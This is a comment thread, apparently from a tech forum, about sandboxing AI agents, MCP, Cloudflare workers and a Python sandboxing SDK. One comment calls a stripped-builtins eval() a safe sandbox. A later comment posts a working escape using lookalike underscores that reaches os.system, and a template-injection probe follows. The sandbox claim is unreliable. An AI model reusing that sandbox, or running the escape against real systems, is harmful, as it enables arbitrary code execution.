Sandboxing AI agents, 100x faster (opens in new tab)

slightly related, if you need a safe python sandbox instead of eval(), you can try

eval(YOUR_CODE.replace('__', ''), {'__builtins__': None}, {})

I saw this trick on reddit many years ago and wrote a blog last month https://blog.est.im/2026/stdout-09

I wasn't able to crack this sandbox, and neither could opus-4.6-thinking.

This sandbox won't protect you from DoS, but I think it's reasonably safe to use it for AI tool calls. Just expose your MCP/RPC methods in the last {} and you are good.

MCP really isn't aging well, to be honest. LLMs are just way more efficient at writing a single script that targets an API directly, rather than ping-ponging across a protocol that's inherently slow and token-heavy. Not saying MCP is bad, just that it's obviously not the silver bullet everyone thought it was.

Cloudflare letting the LLM write a single JS function to execute the whole chain in an edge isolate is super smart. It finally offloads the agent's inner loop.

I’ve been dealing with the exact same latency/reliability mess, but on the frontend. We ended up building an open protocol to let agents operate live UIs natively because vision and DOM-scraping loops are just painfully slow. Moving the actual execution engine as close to the target as possible (either an edge V8 isolate for APIs, or a native SDK for the frontend) seems to be the only real way out of the current "slow and expensive" agent phase.

If anyone wants native python sandboxing without needing a cloud API, we just shipped an early python SDK from the https://nono.sh project:

import nono_py as nono

# Define capabilities caps = nono.CapabilitySet() caps.allow_path("/project", nono.AccessMode.READ_WRITE) caps.allow_file("/home/user/.gitconfig", nono.AccessMode.READ)

# Apply sandbox (irrevocable) nono.apply(caps)

# Your agent code runs here, fully sandboxed agent.run()

example using pydantic and fast API:

https://github.com/always-further/pydantic-ai-fastapi-nono

Let's say I have a bunch of objects (e.g. parquet) in R2, can the agent mount them? Or how do I best give the agent access to the objects? HTTP w/ signed urls? Injecting the credentials?

Could an AI decide to download JavaScript libraries of its choice into a dynamic worker? That wouldn't be as flexible as a full Linux VM but it might be interesting.

Edit: I guess not:

> If your Dynamic Worker needs TypeScript compilation or npm dependencies, the code must be transpiled and bundled before passing to the Worker Loader.

https://developers.cloudflare.com/dynamic-workers/getting-st...

eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})

{{7*7}}

1